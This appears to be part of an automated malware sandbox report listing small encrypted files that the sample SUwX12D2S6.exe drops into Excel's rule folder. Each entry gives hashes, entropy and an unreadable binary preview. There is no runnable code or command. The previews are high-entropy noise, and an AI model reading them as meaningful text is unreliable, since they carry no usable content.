C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.740265491956349
Encrypted:	false
SSDEEP:	24:WtqKdEr8lKj7wiAwnUhfvRhr/fvtKhHoihWwTpvrUKVbD:WnFlKjYyUdnrP42LwTphFD
MD5:	0137E804B66C94C82ED5CA1E2F085BF4
SHA1:	8C97E6E3B4D95B016B5DE25C4FF2B4B2386EEDA1
SHA-256:	4219BE611B18A43250D554D7145822A3C7523FD3928F70CEBBFBE8DB0A9543CC
SHA-512:	1EF543B118D0F577B6B269C71F23C474265AD1C7670887A422EA434C0BA5A13C211B8250C9B43F8E5D77E58B43E8B51FD25CAA2A3FE88B73E43C93438EE8DAEF
Malicious:	false
Preview:	<?xml.......q...$u>.....Z.@.-u*.["..'{..c.g..6./B...M.....s..{g..2E.@Cp..mm:....3...FJO...l...f..h..q....l.8.p.b..H....z.<....yq.n.}.p.(#....Y.&...T;?.D-...f..L...);.D..Z..a..xL.5\.QDB....G<.\|].=..H.L....u....2.%.&...m&z.'S........."$..UE@.Y..4....F..Xh#..R+.-.X.U9.1`./...).5c.@^Q{xkK.b.D.\...1..l2..L...>.Q......3...H.T.".r...........U..Q..+.U.F.-...6....M/\|.;.B.;P....!.\|...E..).=....vH..&\|s#..w}.4..8.j....#Nf].._j..w.=..Wz...L...qBX......E5.no@.y....H.+(.g.F....p.x.f'!g.{=...l{U.2..;%..>H..<..... .........Y...../.b..O{.m....1C.....G....=X:}M...s....>U..l.A.;.%..D..5.H..ZO...6..Pj...z.s.....=v.....F.7.88.:..<a."_...v...C.^a....m.jr...\|d..W..Y.."[]g...G..Q...dv.i...~G...4.fS.3...;o..F9..cu?....B....,.._..{.<..8..B..3......x.].I.u:..BXeb0..&..&./.......'K...#8e...a. dc!.LH..}q....P..z.C..L.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.926586230217286
Encrypted:	false
SSDEEP:	96:8ryjfbO4HNoYiHGJXfSggj5uQo8c25Km9:nryqPgS875z
MD5:	2C723195FF058BDA072476FBCFC7ECBD
SHA1:	831F72F111F820A35C392556FD16F208D328DBEE
SHA-256:	015E3BA8469BEDB50A914E5958D706520118E8377FD5BDD03BDBD08FF477AA7F
SHA-512:	EF06383AACCB36E2AB24838FCD4804CFE9A02DF6B7A53E12F09106DF56DD69A20AA3CD27311374DD19DAFB861F615616B48D7242FE610C8A3FE2E65616BEA90E
Malicious:	false
Preview:	<?xml....4....\1.N.%.xK!.T.......4..o.......[..C..N.....DL....$...k.{..?...P..h..m.Vw@..y5..i.. .Ji.......y.E.=....DcG..w."........UJ.".>7.!y.g8M.'.L....H.E...`....J..8...<p.(....^@,8..D+e.{.s.@.....[......\H...+Xw....w..I....Wa...jE..g....H...!.......Q..M.<..c..l+.=.7..-nUP...Y.K.TD...ru.X.':O...(..@.&#5p.au9.. ..^L.2s...%+.$u.q+..........+.m..}.c.N.5.] .$..4j-"...Fw^VZ..@d.U..B9...)[.....7g1m.....P.^...v^:..b.&....o<-w'.K...#k.....L5.-5f.Q...-M.....nsB.'N....V]......V..i.\i..v.,)J.i!.A..z{.M.....,$w.E..V{]....>@...k.."4..OE...rR8...J....f.K4&4..f.YNW#\|H2.Q...^.&..U.......nG...........l...".1.?.].....y..........bU.e....A..;D......A.....%\|#. ..3....R.c...aSGJa......O...(.:(.......#3.6E..b..b..-........B...4...r3.^..E.`.#A..i.C}..*..{.......+..N...{.l7.L..]B.$..}..>u..[.`l^..y..9n......3[..h....s.%kx..".n8.....=..\.}.X[.Z..O2.`iY..cE...&,.f.(........!.......S....]nf..q.:..-<G.e.@V.RY.^.L.&.h..Q.l.=]0.....BXS..1Y..c...:....m...Xj./!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.760404722779141
Encrypted:	false
SSDEEP:	24:EgiHEtfmHvxgxcBNjUtsFc7Si7E46Y1Ywu9/nVbD:7ikUHyOBytd7Sip6Y1YRvFD
MD5:	807B65197A7DCE4E8CBFEA1642F2DB04
SHA1:	FEBBB145EC2998C309FB397FDFD4FF71195791D8
SHA-256:	84C879D4186A90F1E4BDA525FDF08E53BED9E9A7966C10E940B5BAF948A4D4CE
SHA-512:	AD8D19C27CCE5A343719253F336C3152A51A0E45E629B215367350EED92D89EF822B99706035F621A2ABF5C36E3A1D263E988CBC5AD3C03C9E540FB93304D195
Malicious:	false
Preview:	<?xml1Ff.Y.[.}...C>...?....*.~E..F9.&...Xt&......y...-;.Q.....).}2.F.bQv.+7d4...,H.s../$..-K&..=.....f...5".5....k@.....Y#z.....yzk..u..~JX..R..Rf...!8.I.~....I#kh..1.(ep.x..Z...7I.B9..f.x..c.7%...z.....K..z.1W.v.2...9V..7JZ5..NF0...i.x....IY......U.J.r$...h.d.j..[.....+!...&Jr...!..[(qh.n&.r....x..=O%.......?..?......62.7+t...b.i.Z...-.C.:....}.jX.s........Q.....g.Q.m?k..F.O.5.....v......<...k..?w.r..i)......,40.[..a.3..B7..<F.!/vvs..X..2.9.v...}... ...Cf....O..0....v.....Z.l...:.d.j.L..4.6..Io...Y-.......I.j./]O..9G.f'.....}...J...4<...\...M..B......[........[..vH$...K..Q...@.R...O.h..H.K#8.%`.s...`{...z..5\|..Z..{z..Z.....3....../...i.R.6..rs[0..............C%.i....p+.Nt.T}!0U8...q..d...~..et<.\|.JE._Q.\z..<.-...0.&>2k.:<.#+...h#....!.......9..Y?"].c1..},>.X..!F.p...u.s).@...`b..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.789210719100583
Encrypted:	false
SSDEEP:	24:kht6qKSJwy5zt0t7Ws6E0oaXCRpQjWLHch39+kZVbD:8t6ZcxztwWeQjWL8h39hFD
MD5:	B5C7A4AB2B6C3A175C9D79CC892ABDD4
SHA1:	97F3CB83E89897923C5957194703C57478E79071
SHA-256:	2ABAE8A038E3EAA803F914A532CBB4802FDBB127118D05A0EF7BE9FECD34766D
SHA-512:	D1993F94467F6FC3EC06F0B8101E0896F0906870CFA8DFAFD5C4A571743B14A8D7BB733669662481556FAFCF4918B6FCCE78219EE2B496BDEB7E3B9834C9790C
Malicious:	false
Preview:	<?xml..M.o.'....C...N.q.........!.f....j.(1...3.M...x.grD.6+7....J.mX.K....ISTL..J..9....I....].d....e\..jW.q..-.8.^.=.rIz.?.!....V.z.....L.u.6.".d_.........3.....VF..0...5..z+.4.B...[.za.6DB.=.....e.-j. ..fTB.3...:?1..U.......`...`qk...rs..P<C.....:/...d.q....E.......r....kWW...'C....... .H%.E..(.D....S\|..\../.hj.o....T.....P...=F#X.Q.I.>..^j...aJ.......s.N.x.....y.m.f.N@.hENM;.........:..W....M1x.b)..lg.>8a.8.....i........t..2.xP....K.....m.. .<..N..x<e.....U.....I.UV.n.D}>U.........F.1.......#.2X...Fh2U.......Q.Qh.s.i..g......K.I....9.M<..cI.(......sBk{...:?.s../.c..v,.+..6'.52.....3...<...'(.g.~8...l......VG..D..._a..m...J.>...].....D.$.]....R..T)...z,.w..c.9.Ljmc..h.M.o........R..0.P/.q.....;aBX.Z......d5-..D....n.cw...d........6.L...~I.MP...aC.....Nb..k...V.Z.~S=.ww.S>.}....I..+...m.......l?%G..V..d:...[j..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.704122922233717
Encrypted:	false
SSDEEP:	12:MORxp3GfA3n1fbosuwTHI59AbrxGMBA9o+VXkQuFUSx7kSoNxjVcii9a:MuD3yA39b3uwTHIraYMutkFFU+kfVbD
MD5:	1EE15FBF6E78E4D77FFDD16084FCF293
SHA1:	DE19A0AE706C91534948051BEDC4F798BE3E395C
SHA-256:	E39CDCE3255A079EE780CBB585318D7DD6200A3C0488A66838F414AE66CB0B0F
SHA-512:	88EAA247B6C3D46C04C4BBB4E8F944818AE76CD738DB24A0CEF62C2725085876A5115FEA823BBB64559077A7C7FADAAAC9D62F4630E5B493F261DA6676E9E781
Malicious:	false
Preview:	<?xml..y...Y.qW.p.%r.k.......]..x6`......v..'.h...)..{.MKi0g......Y.....M....v.%......0....^....$...r.l.y..j.sCd..l..EJ...&.}..R..).f)y....tX....o.JeK.[.+.r..N....im.n..h.....3.n1f....Y.=.....o.Ev..les.\.9.'M.s...[...i@.}..z..?...M.......3..[~wC..R.v3[..^...wh.^.T....TF.'.I.#..}.##5..I...4...1.i........8.....,.s.Ce.V.:.K.T....[....Vk..}..........U...{.U.j......E0hC.6.....d...,.r...]p.2....:F.].Sw.m.,...K.!..2....c.......Xo...-..}_\|......=.,<b..n.[c.."v5G.l.HVPbM4...<h.F?.....?.....h..w..N9...@8.,@.\..S...13z].].....w.@i...6....d.......4&...G...$..-.9.$E...m...S%...b.1x.MX...Y..B/....p-..G.J....l.LU.8k.?..y...a.....-B...lV...+g.K.m8...2,.(J..;.c..........Z.o.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.798830435507905
Encrypted:	false
SSDEEP:	24:wCxITsNXD1W4mCIrC/gflo7VAp/VaFqZVbD:wCxusNT1qN1lWqp/VqKFD
MD5:	0457274EDB6DF3A54697B82A401CD872
SHA1:	5B4D54D633C207F07BCBF2B4784FBD04AB20B87F
SHA-256:	DED5DBC009A89E62750FD814D7E694CB5CA97F7DDD7630B03FDB49BA15AFD8A3
SHA-512:	2B46962B79ECFA7E07747AE963E915F265E8B258463BCB379EEC96C2F857AA2770B8C67F988E7C046A104664A6A6F35F9EBA298476BB9934ACA4ADD6635A5046
Malicious:	false
Preview:	<?xml.ym..vP.i ...U]..T/....~j.K\|..x.e.{I......,[".e.F..K?%.r..gS....[..+%...x.5....w.r}.y....}Y..'......>.G..P..S.2kD.0;aK.#.HW.+UeH.y..u..... .z%u..v.+...].F......8<....~pH....Q~L...n.$'.....L.<..15....M..s....3...$..pE....* ..T3.8.M..X..A..y...e=cJ\.A...wqc..J+.)....1.UHL.f....D..R..1-.........$....+.].,i,..AD~L..9&_\~.K.......4...mMv{S...i...............F..u...W..K.:.....t@^..B...;....T.a.r@.....+.c...C....f9'....l.g...?K`.1....N.L67..L.......)..KBC.....Y..cF..E..l....b.&....5d.d.BAT.Jd@.+...4.7.d.U). ..w...J.r...5dY.]){G...H....W.....q.\|l...j..p....z.e....=.{..sh........o...5.hg^.N.W....e]R4F..8.[F/%.s.T.T..v...uas.......F^......p..S.W.Y.3..L=$.?..0.9..0...{K.G.1.2.~...z..Y...~=sE..R(j....i.....k....<..T.....0..J./i..6r...Po...a....".}..-W.h..B.....;.1.'y...'.Oi..t..4.qS~..qb..V...H..l3F...z9x...!...w..[./.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.819087685859143
Encrypted:	false
SSDEEP:	24:GQsT6Awi13tUrj+kSxt84gZX27xYia4xxvxUXHU8eROpVbD:Gf6xi1dUrSk42ZX272iDxJUk8eROpFD
MD5:	DC51FCE94E3668A38027F845EF719751
SHA1:	0D8FF5F5183908E80E806BA6D981E6A329C23AC7
SHA-256:	A52D2F90819ACBECFCD6531F8414FCF79E9BCF60735D37D4ABB637030872DCF1
SHA-512:	7CBC8F9EA1FE88D4652028BD07654CE4678C2646385F3214FA7311F8E542488E9E11FE138AC5FEC7894A1F7D9D859DA843B8FF8AA69E1C57D9F8EFFFA8ED140E
Malicious:	false
Preview:	<?xml"AG..8)%....\..,.<.R....h.'B.B%.j....!t....a.m.%~#.C8b..Dh.}.=Fo....o....o2....s.1....E..j...D..\|.U....gU..7.5..W#.+P...X......=..C~...B..MSI...kT]..F.x...{....e.......:..).(.&.=...'....s$z.e.M.H4.dPc...m..}.LF+..6.);......q.p.%.zOe.0.qR.x...W..=U....-.._..h.m..W.K.&u..m..kG..%.......p.(w.r0h.`.x7.4...... ...1?5......r....[.uY...J;........W..."..dW}"....t.H.c.v/....W:X.)...i.."a<...f..R=.)..?.9.......,(.f.....2.8z(.1....0..\|M.I...`$$.z.d.kv...7o,......j..IqDR.].}.(.^;.....xv.. ....g..m.K$:N.z......w.p...1..AM....kM......B^._...Zw..AO.......y].x<."...`..I.q/..;<.....C.....%._f..F.n.'......V.;R~m..)...lK.....J6.D.-.....W..Bskb....2.b8=.m7.......f..+.u........S.A.}.+......%.T../.... .@.......=v...Mu.E..g..~......A1.0..2-.]. ..z..-..P......6... ..t.j...I....O...J.rX.. ....x......(.3..b.......L..o...w.T.I..k.$.m.J.p.2H2.Ag.../Wt.pE+%.....v...Cu.<..`...6.S.G.B..v[I.=^...?....p+...../......H%.h.U.....=H.......F.....Br.,7.<.6ZR

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.818007628224472
Encrypted:	false
SSDEEP:	24:PF5HmLuv7Brb+cTrtrPCFPiXCHBqAOesqrzvmSBVbD:PjGiv7sIUtDO8ecFD
MD5:	C861B3C61B0CD74229DE44321B9715A6
SHA1:	495E792B04B459E94078A5476F0A88086488A1F4
SHA-256:	C38D197B3F4D0C3782160FCEB1629699B05527892AD5317FA575AF5F288B9DF4
SHA-512:	8098EC9D1EE8910D0C5B27F05DC97111794E2C11947965DF08674C45AE98CE679AC8CD0C5579A26AE87EB3F865963C174859B7DFB6C0230C61AF688B59733830
Malicious:	false
Preview:	<?xml.m.-..h.E.^..%.4.7..e).18....v...g1u<...R.D.mA..q.nH.&..+.....M..."m./..r.?..Y~.j...S......:Y...@.)~n......F4Q.>.Z....dS..I...{..2.nK[.:l...-.g....ZE......5L...]X=.....bbPg........M...T.;.[a..Ga..6A..P...0.K...$.......;...J...}...J.c...p.)...N.....p0.A......&...C..x.@h.%.(F/](z..,Ar......j..~...c.1f`......[....O.UiV..0...h..2DI.+..H..N.T.{..Rl..e.$...3.....T$.Md...Z..q\|..\]P/hzuOp.....M......J.%....gHj%.'L.oJ........s......T91!d./f.%'3...yx..[..W}.g.....C.".y.....Z....,R.`z.w..../........[i...H...G.Rt.x.+...d......#S.3.. .....C..2.W%....5.......ja..Q.0r..'....-..R.Po.u..&..Bl.....J:.T....4V8..l.-."...>....{G..\..^..&.]-wh.V.Jp.s.\..V"..P.^....fA...^...>..u.S8&..u:...^\.<.^..v.@.K......6#F^Y...-..n.......r.Y......3...[..c.....,N..U}..........._...q.J......w.Q`&Z...\...tL...!....q.R...........ganJb....\|........A.7.>..5..2x....'...D.]~W.-&..2.#itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.735700411922717
Encrypted:	false
SSDEEP:	12:GpDrbrox44VXzMszrQys415VKFMHOpGmWdQO1f8PmOJMwSwYcyVJ/Ly/cdppjVcq:OrH1CXYsnF1VDSGjQqvZD9pRVbD
MD5:	F8ECCE968C91CC95018578D6D7BA3387
SHA1:	64D4CB16FF2429F9A5BA4AD046C4B642E2590387
SHA-256:	763EF1CE576FD6F080D2B9D37473CF04E936D7CB595943573A3FBF41CA17729B
SHA-512:	58289170559734F42592B7416F4D665466177B24490C7C253904CBEF465D89336CD40B4E88FC68EE87CA66D6F0F0E7F0EC986CB37D2606208477F2F1E10E7D89
Malicious:	false
Preview:	<?xml....[.u.U.\|E......_.G..wt3@..t..fB..>....?..B....&.osP.(...B/..E...f.'!f..;.r..K.l!...-3..V[.N`..."...d......B.dAQv....W...%e.........n.X..R...8....fM.r...`..W.e..~.8v.'....#N.y}4...>.........#...]...E..C{.........`........P"..j.F.E..F.....v4..[....{+T.S..../E.>.u.S...m.W.%...-/..i95.[V..U...].....K.\.......t...l...s......d.@4...2U.RM..$.8.w....v/......<0.v...-CY;f(.I..N.V.....6{q`....^^. Zv..a.(...1.]"oi@.......A....d%.\p....W../...X........&..M.g...X....X.F.[...3....iJN.0c......e`.......*...{R.h...x4d..;.....9..P.{.7.u.r..WM.V.r....J.:+...yO8.Nh.\|..4.X.C/Y%J...3..e..L....A...~=nwg.I...0_.Px}.....P..Y=sF.m02%...a=:!..D..@.y.[............j]..$.P.!M.4.P...2..... ......2..k\~..x..,..KZ.jM...1...8.Z.....B~.1..D.G..M.......H.n...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.775168562909657
Encrypted:	false
SSDEEP:	24:1gdvApFkGaH+0zqofH3FaJe+HpmMaReJmmboscVbD:1gi3k/+gZ/+Hp1aRSoscFD
MD5:	DC68741D224BA489DA415BD2D2FB0998
SHA1:	D84110FF83693E84E71031F9CA6EE27CEBB3259C
SHA-256:	299B8D0CA61AC6E39ACC1D41C967C8288C0AD19DFF4E5464BE4D1DDE9A0AD5EF
SHA-512:	43ED536B002FBE6F7B4B0466D59192E1E6CDDF6F2B48DB94B2361D4BB29D63908EFB92ABF451AF5C2527D0CFFBC3A9D0C2FBAAFD29DD6612C37F5982D9FB6DB4
Malicious:	false
Preview:	<?xml.E.T.z..K...s......7....Y..(.~.E,<.M.G,..8...+iO.W zpR.t,....{.b..-....:...Y-.@.S.N3....iD.R......._..@:...6..(.7....eg...p<...B...)...<.....?..}._..c.r.Z}BCv..h....t...;.....K..!.b..l"V........`'j.[w.....-.9Q.....e.>...pm.P{XG...T..ks.^ .Wu=B......6..[......fO.].I..[~.I.......-Ti.h..jL..F.....U........uQ.1.yn.3.......w..._....[.....M.. 2@..>.\|...6.v....K+...[..8..m...p..!0..+\|.%j...".6..H81.G}.....m.h..tF.C....v..:X......o..c......0.....Ww.I.....9LJqW.........I3...g]?..m..,M.X".EGa....u...._Vt...r.>\.wi.WK........F.+..L..N5&?...G...Ks.u.......vz..Q..M..o`C.N_..1.T.I...:~..\.~.`..A"5...'.N&..4...9...5.....&.....Wr.U.A......z..L..T.7....h<. .1...nL./!qxq..0.^%.N.Xu...e..B..s.${...e.8o.p.h'....:.C.kUw'".A3M.....p.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.742477082768534
Encrypted:	false
SSDEEP:	12:gdkD+akcJbATYq5U6VbdPKhMrTMwRk6x34ifa+i/E0KSVsFYfLejVcii9a:gdkD+atbA8q5U6VbdPKyIa3HZGpwYTc9
MD5:	92B37C98A2E2482157E8BA3FEBB5609D
SHA1:	5E073B810E68952EEFB25B5690100D3F4C6CEB82
SHA-256:	C642FEE50EF688F19573F4C85D64E67E6505CDDDA8FB14D04600A09C1744E7AD
SHA-512:	CEE93AF457671AC58BE7D145C7CDF505C28D851E2F3FFD0BB855D65A04846ABD6C577F6B6A6D4384234E0266D2BCE6F6087BFC60CFD0B125BA24C3BC18BA4355
Malicious:	false
Preview:	<?xml...v.....X.d....#.p.^..P.....k.c.f........51.Ep........C.CfnU..`..V..";...'......-..`.)....C.gC.V..\:..U../.;.9....6......k..E.....S7.q.....h...#.@.w...7.\|....!.+.......1.)M........bI._..x.g..o........P.%......Z4...\T..}.^....-....S.[\...=...K...K~.1%.J..D.e.GX.=K......u.<M... ..7B<.W.H.r..d.....y,..;..m..W\|..5I.... ..R.).g.I..-...JlE#FGS.....P.Nu.R..u.(...<.(..2.?....F..q....p^._....~......I.Ws.....X0.v.1.c...#.h.r.,tt^..L5.\|.....c...I....3Q..X.`.#.o.l..y\b...[S....M.B......+..ar]u...G.....&z@..a.E.M;.9.J.(7..C}4.a..X.B..:..E'.....U;<...1y......-^.Y....O~.;.....j..#.r......T.N...[..[x.....Z..%}L...J..H.iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.830216856126305
Encrypted:	false
SSDEEP:	24:/PEK0gvyC6nkrqqNziulLO+RgjH0udkgiym/rYDZ1Y/mVbD:X10gvT+q0HocriymzerY/mFD
MD5:	67EBD95A1BA75310BA7FA0D5BCF4AFFE
SHA1:	0AB95A0053B6AF2830002E498B02CE70440BAD39
SHA-256:	8A45DC8BFF84652AE23E56847A4723654DBC8FBE2F076DB716A062ABD772527E
SHA-512:	5EF061B7B645BD05B7ACA47680CA327B77564860E5C05F89D49EB05619436552F4E1F592F7F47342FEBD473213B32994D9A43C259867D16F695B033F2C1F30B8
Malicious:	false
Preview:	<?xml.J=[..g..4mW+.a...k0+......Z....$.)LA.._.aCZ.e-....._..[.?.....T+.\4....U.].{.X.?S..#3`..h%.?.u..M{SkG.&.)AJ.9..=.Ag.a.~...mo.<....5..^,.0.OC.+#9=TF.......CM.,r....t.-..<.1........<I~.Z]v#6jAN..h.)9..IB...d..s...'...<....4.6.s.M..\2.k._.5.....5.....?.X....9iI$..Q........?..x...w....'b.@.~.M.\.(^.T..&..e.R.+.d.2.o..6..V!..q..m..#.rA..n...Y..$p.Qy....n...}>}@.Wme.>.Z...v...Q.m..B...._....A..3iXR..P.....dR.^D.f@X<<...N\si.s...n...c+........i.~....1x=..#1j../...]....J(.vJ...v....q%...........Tj.%.0...-.....G.k&g......a.....[..4.....N.'{9......8.K-?)c9j.U....z....4.....B..`....4.i.+..7...-....Z._..@.....w.P. <i."\|m.Se...~6....U......\..8..a.u.&.y..z.9..'..K.m...Q.!...A...F..R.R+.....'JQ.ASv.p_.[ku.x.\|...0.x.K.!.vy..U.K&#l.'...p...2....>...w..aS...../e/. ..._.'8.J.3...?..*5....nDYX....-...>..v...~.\|...&......v...(...u....v..y\|Y...\|.hL.4.9.G..9Mqpm.$...K..;..?...p#.....WX.........-E..Nj...B)#...YoSj;l.i.%...r....9..@..s..D....,B.-.}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.733727986886855
Encrypted:	false
SSDEEP:	12:azPdC9WO6WURG+xfGYA4rQYpa5rx0mgCekQJPlvEtlEWTw7PS6g3ixkisjVcii9a:I1C0rc8gYKqgqPEWh7P3yu2VbD
MD5:	7036BD2D38529DCF3CC919A87FB3FEFD
SHA1:	7A87B0D9D6520EA58FBC9E017BAB9582C3FE6D29
SHA-256:	44F1C6CAE16418280FF68F338DF85BA488713AC1738C109EA34158A189291C1B
SHA-512:	0F333018127AEC1044D55817B1245732E7AE64967BCEA50054D5D43618373B8A948BCD5AC084FE73DAF82B35D4DEC0B6A31569EE5263F916C7E9905EE4A5118B
Malicious:	false
Preview:	<?xml..D..`.x./Q...............3...}2...0./.f%.y..(.....p..5...>f.I.1Lw.L...^.W.......S...8.~...9..;..w.]b{...O...W.x=..]I.L..]...n.1...4<..'.......BO..".,..o..A.iaa.T,7.,I..I.7RuH..9........;*....xC..........&P..T.r..0../..G.Y..jRC8#Vh..^............7.e+/..#7...6tLQK...\|"L#...K......./4G.....5....O!.Z.0.e.........Ig...x%v...zy.^.)../L-_N..(.....X....B.j..h.e=,..+.:c.RQ....y.U.,..d-......W.....J%s.....w.3B...!.d.b..2...{....I..:.1N..-W...2.^.^e}.......(.&..<We.u.w.o=..).....Y....:uJ....l.SV....om.<(.k.$.Ru...Y.(.....@..M..'[..o..%...S..FB.3c....]... ..G....._...kv"vA.=....iT......@......."....Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.670093766442514
Encrypted:	false
SSDEEP:	12:E0GphK2jJ3UalMa/DXqemLQQ1NPQQb77/faccb1eElYZ+cGnTmd0ZhjKb0ejVciD:jMFd3UaKa7C1NPFbvIbLYsn6d0ZVKb0k
MD5:	0F932AAEBC574EC6D988F8CA491333CA
SHA1:	8EBE79BE8B95D8F2CC5BE788916A262777B61B91
SHA-256:	A49E00213CBDEAD33B5562D4985026A060C995EE33652BEA2E3DDF72799984C0
SHA-512:	36ECFAAEDC56B6C0A9841821655E8D252BD6EE53DAF2A5A104AB087D5216B1B61C93052F74B08B7056EFFE7D3B10E9FF258590C2CC4B1B731C8350EAAF8825DC
Malicious:	false
Preview:	<?xml.+j..V... A.=\|.0o..y..q....,...8.......o.K.......j2!......lbh...H...}..Id.../..G..o6.7...._.>..Mr;^.L..kY..C[-...:j}.w}\|`.._j!..sn.1..1.?ok...!.54..2@..nM.'.o....0.......=C.jK..U.L#.,~..{:\|^....#.u.l.V.p.x.W0..X"..?.+.blAA/4.}...<.X]~..K(...$.mb........4Vq...h.."E.[.U....x..ol.<gt.X.._...B?..C.........D0p.8.>5{.....3...",.Y Z%c..$.a..Z.Y.j... ...$Q(S...#~.9...~!..P.+.c=_Q..T-..4g&..Q:..2.~..:.....!SfU8.....H......AY....9.0hP..A.S..59[..y2....-/p@.....>.W....!.....F.;.A....M.....>.\|.w.~+..../8-..3f1{...........h.}....g...........R~......s.o.O...R.}.99.?../.?....{Jd.1`.....!.O./.*.......H...lL..+.3.iN?.}b..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.7378871450966775
Encrypted:	false
SSDEEP:	24:89G0zCGgnA4LGExwg+355zAMdUEEfR/FhOe5IfWpIVbD:89yDLGExwVqMdd4/5tpIFD
MD5:	8FF7B6DCB69260DBE8962F1B0CDC8E63
SHA1:	4869DAD5E4971D8D5E48A58BC06270F767AD559F
SHA-256:	256EDA29F9E44E181C5DB402A6AC2D93DBFE9E2191400B5206D30720AA8D5DBA
SHA-512:	F369CD60153A1008BB8CEE0E2557041974B11CC6F553C99A08E9A1559B207FDAE4CD6D39AF001D1F2F39AED6FE95B8DB8953156B19A0B18BA2A84E1C4D3547EC
Malicious:	false
